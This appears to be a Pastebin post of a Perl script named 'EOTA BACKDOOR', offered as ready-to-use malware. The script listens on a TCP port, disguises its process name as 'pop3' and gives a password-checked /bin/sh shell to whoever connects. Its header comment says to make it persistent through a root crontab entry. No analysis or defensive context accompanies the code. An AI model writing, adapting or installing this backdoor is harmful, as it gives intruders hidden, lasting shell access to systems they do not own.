fenix_of_fire

EOTA.pl

Apr 4th, 2018
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.31 KB | None | 0 0
  1. #!/usr/bin/perl
  2. ###################################################
  3. # EOTA (Eye_Of_The_Ass) BACKDOOR                  #
  4. # scheduled backdoor                              #
  5. #                                                 #
  6. # /etc/crontab                                    #
  7. # 22 3 * * * root /tmp/eota.pl                    #
  8. # usage: perl ./back.pl port_NĀ°                   #
  9. ###################################################
  10. use Socket;
  11. use strict;
  12. use warnings;
  13. my $ent = shift || die "perl $0 <port>\n";
  14. my $sec = 'sai3gAJK84MO2';    #perl -e 'print crypt ("PASSWORD","salto")'
  15. my $acs = '/bin/sh'; #SHELL
  16. my $service   = 'pop3' . "\0" x16; #SERVICE
  17. $0      = 'pop3' . "\0" x16; #SERVICE
  18. my $pr  = getprotobyname('tcp');
  19. socket(SERVER, PF_INET, SOCK_STREAM, $pr) || die "socket: $!";
  20. bind(SERVER, sockaddr_in($ent, INADDR_ANY)) || die "bind: $!";
  21. listen(SERVER, SOMAXCONN) || die "listen: $!";
  22. while(accept(CLIENT, SERVER)) {
  23.   my $conf= undef;
  24.   open(STDIN, "<&CLIENT");open(STDOUT, ">&CLIENT");open(STDERR, ">&CLIENT");
  25.   recv CLIENT, $conf, 15, 0;
  26.   chop($conf);                             
  27.   if (crypt ($conf, $sec) eq $sec) {
  28.     open(STDIN, ">&CLIENT");
  29.     open(STDOUT, ">&CLIENT");
  30.     open(STDERR, ">&CLIENT");
  31.     system($acs);
  32.     close(STDIN);
  33.     close(STDOUT);
  34.     close(STDERR);
  35.   }
  36.   close(STDIN);close(STDOUT);close(STDERR);close (CLIENT);
  37. }
Add Comment
Please, Sign In to add comment